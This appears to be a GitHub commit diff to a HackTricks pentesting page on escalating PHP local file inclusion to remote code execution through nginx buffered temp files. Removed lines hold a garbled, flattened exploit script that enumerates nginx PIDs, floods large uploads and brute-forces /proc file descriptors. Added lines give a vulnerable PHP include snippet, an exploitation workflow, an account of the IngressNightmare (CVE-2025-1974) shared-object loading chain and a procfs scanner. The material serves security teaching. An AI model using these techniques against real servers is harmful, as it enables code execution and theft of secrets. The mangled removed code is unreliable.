Skip to content

Commit 6a3dfac

Browse files
authored
Merge pull request #1652 from HackTricks-wiki/research_update_src_pentesting-web_file-inclusion_lfi2rce-via-nginx-temp-files_20251209_014059
Research Update Enhanced src/pentesting-web/file-inclusion/l...
2 parents 2785dc5 + cdc7395 commit 6a3dfac

File tree

1 file changed

+52
-25
lines changed

1 file changed

+52
-25
lines changed

src/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.md

Lines changed: 52 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -4,39 +4,74 @@
44

55
## Vulnerable configuration
66

7-
[**Example from https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
8-
9-
- PHP code:
7+
[Example from bierbaumer.net](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/) showed that even the following one-liner is enough when PHP runs behind an nginx reverse proxy that buffers request bodies to disk:
108

119
```php
10+
<?php
11+
$action = $_GET['action'] ?? 'read';
12+
$path = $_GET['file'] ?? 'index.php';
13+
$action === 'read' ? readfile($path) : include $path;
14+
```
1215

13-
/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` Note: One cannot directly include \`/proc/34/fd/15\` in this example as PHP's \`include\` function would resolve the path to \`/var/lib/nginx/body/0000001368 (deleted)\` which doesn't exist in in the filesystem. This minor restriction can luckily be bypassed by some indirection like: \`/proc/self/fd/34/../../../34/fd/15\` which will finally execute the content of the deleted \`/var/lib/nginx/body/0000001368\` file. ## Full Exploit \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance # see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # find nginx worker processes r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] nginx worker found: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # upload a big client body to force nginx to create a /var/lib/nginx/body/$X def uploader(): print('\[+] starting uploader') while not done: requests.get(URL, data=' //'
16+
The nginx side typically keeps default temp paths such as `/var/lib/nginx/body` and `/var/lib/nginx/fastcgi`. When a request body or upstream response is larger than the in-memory buffer (≈8 KB by default), nginx transparently writes the data to a temp file, keeps the file descriptor open, and only unlinks the file name. Any PHP `include` that follows symbolic links (like `/proc/<pid>/fd/<fd>`) can still execute the unlinked contents, giving you RCE through LFI.
1417

15-
```
18+
## Why nginx temp files are abusable
1619

17-
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
20+
* Request bodies that exceed the buffer threshold are flushed to `client_body_temp_path` (defaults to `/tmp/nginx/client-body` or `/var/lib/nginx/body`).
21+
* The file name is random, but the file descriptor remains reachable under `/proc/<nginx_pid>/fd/<fd>`. As long as the request body has not completed (or you keep the TCP stream hanging), nginx keeps the descriptor open even though the path entry is unlinked.
22+
* PHP’s include/require resolves those `/proc/.../fd/...` symlinks, so an attacker with LFI can hop through procfs to execute the buffered temp file even after nginx deletes it.
1823

19-
except:
20-
pass
24+
## Classic exploitation workflow (recap)
2125

22-
```
26+
1. **Enumerate worker PIDs.** Fetch `/proc/<pid>/cmdline` over the LFI until you find strings like `nginx: worker process`. The number of workers rarely exceeds the CPU count, so you only have to scan the lower PID space.
27+
2. **Force nginx to create the temp file.** Send very large POST/PUT bodies (or proxied responses) so that nginx spills to `/var/lib/nginx/body/XXXXXXXX`. Make sure the backend never reads the entire body—e.g., keep-alive the upload thread so nginx keeps the descriptor open.
28+
3. **Map descriptors to files.** With the PID list, generate traversal chains such as `/proc/<pidA>/cwd/proc/<pidB>/root/proc/<pidC>/fd/<fd>` to bypass any `realpath()` normalization before PHP resolves the final `/proc/<victim_pid>/fd/<interesting_fd>` target. Brute-forcing file descriptors 10–45 is usually enough because nginx reuses that range for body temp files.
29+
4. **Include for execution.** When you hit the descriptor that still points to the buffered body, a single `include` or `require` call runs your payload—even though the original filename has already been unlinked. If you only need file read, switch to `readfile()` to exfiltrate the temporary contents instead of executing them.
2330

24-
def send\_payload\_worker(requests\_session): while True: send\_payload(requests\_session)
31+
## Modern variations (2024–2025)
2532

26-
def send\_payload\_multiprocess(requests\_session): # Use all CPUs to send the payload as request body for Nginx for \_ in range(multiprocessing.cpu\_count()): p = multiprocessing.Process(target=send\_payload\_worker, args=(requests\_session,)) p.start()
33+
Ingress controllers and service meshes now routinely expose nginx instances with additional attack surface. CVE-2025-1974 ("IngressNightmare") is a good example of how the classic temp-file trick evolves:
2734

28-
def generate\_random\_path\_prefix(nginx\_pids): # This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/\<nginx pid 1>/cwd/proc/\<nginx pid 2>/root/proc/\<nginx pid 3>/root path = "" component\_num = random.randint(0, 10) for \_ in range(component\_num): pid = random.choice(nginx\_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path
35+
* Attackers push a malicious shared object as a request body. Because the body is >8 KB, nginx buffers it to `/tmp/nginx/client-body/cfg-<random>`. By intentionally lying in the `Content-Length` header (e.g., claiming 1 MB and never sending the last chunk) the temp file remains pinned for ~60 seconds.
36+
* The vulnerable ingress-nginx template code allowed injecting directives into the generated nginx config. Combining that with the lingering temp file made it possible to brute-force `/proc/<pid>/fd/<fd>` links until the attacker discovered the buffered shared object.
37+
* Injecting `ssl_engine /proc/<pid>/fd/<fd>;` forced nginx to load the buffered `.so`. Constructors inside the shared object yielded immediate RCE inside the ingress controller pod, which in turn exposed Kubernetes secrets.
2938

30-
def read\_file(requests\_session, nginx\_pid, fd, nginx\_pids): nginx\_pid\_list = list(nginx\_pids) while True: path = generate\_random\_path\_prefix(nginx\_pid\_list) path += f"/proc/{nginx\_pid}/fd/{fd}" try: d = requests\_session.get(SERVER + f"/?action=include\&file={path}").text except: continue # Flags are formatted as hxp{} if "hxp" in d: print("Found flag! ") print(d)
39+
A trimmed-down reconnaissance snippet for this style of attack looks like:
3140

32-
def read\_file\_worker(requests\_session, nginx\_pid, nginx\_pids): # Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range for fd in range(10, 45): thread = threading.Thread(target = read\_file, args = (requests\_session, nginx\_pid, fd, nginx\_pids)) thread.start()
41+
<details>
42+
<summary>Quick procfs scanner</summary>
3343

34-
def read\_file\_multiprocess(requests\_session, nginx\_pids): for nginx\_pid in nginx\_pids: p = multiprocessing.Process(target=read\_file\_worker, args=(requests\_session, nginx\_pid, nginx\_pids)) p.start()
44+
```python
45+
#!/usr/bin/env python3
46+
import os
3547

36-
if **name** == "**main**": print('\[DEBUG] Creating requests session') requests\_session = create\_requests\_session() print('\[DEBUG] Getting Nginx pids') nginx\_pids = get\_nginx\_pids(requests\_session) print(f'\[DEBUG] Nginx pids: {nginx\_pids}') print('\[DEBUG] Starting payload sending') send\_payload\_multiprocess(requests\_session) print('\[DEBUG] Starting fd readers') read\_file\_multiprocess(requests\_session, nginx\_pids)
48+
def find_tempfds(pid_range=range(100, 4000), fd_range=range(10, 80)):
49+
for pid in pid_range:
50+
fd_dir = f"/proc/{pid}/fd"
51+
if not os.path.isdir(fd_dir):
52+
continue
53+
for fd in fd_range:
54+
try:
55+
path = os.readlink(f"{fd_dir}/{fd}")
56+
if "client-body" in path or "nginx" in path:
57+
yield pid, fd, path
58+
except OSError:
59+
continue
3760

61+
for pid, fd, path in find_tempfds():
62+
print(f"use ?file=/proc/{pid}/fd/{fd} # {path}")
3863
```
3964

65+
</details>
66+
67+
Run it from any primitive (command injection, template injection, etc.) you already have. Feed the discovered `/proc/<pid>/fd/<fd>` paths back into your LFI parameter to include the buffered payload.
68+
69+
## Practical tips
70+
71+
* When nginx disables buffering (`proxy_request_buffering off`, `client_body_buffer_size` tuned high, or `proxy_max_temp_file_size 0`), the technique becomes much harder—so always enumerate config files and response headers to check whether buffering is still enabled.
72+
* Hanging uploads are noisy but effective. Use multiple processes to flood workers so that at least one temp file stays around long enough for your LFI brute force to catch it.
73+
* In Kubernetes or other orchestrators, privilege boundaries may look different, but the primitive is the same: find a way to drop bytes into nginx buffers, then walk `/proc` from anywhere you can issue file system reads.
74+
4075
## Labs
4176

4277
- [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
@@ -46,14 +81,6 @@ if **name** == "**main**": print('\[DEBUG] Creating requests session') requests\
4681
## References
4782

4883
- [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
49-
50-
51-
52-
```
53-
54-
```
55-
56-
57-
84+
- [https://www.opswat.com/blog/ingressnightmare-cve-2025-1974-remote-code-execution-vulnerability-remediation](https://www.opswat.com/blog/ingressnightmare-cve-2025-1974-remote-code-execution-vulnerability-remediation)
5885

5986
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)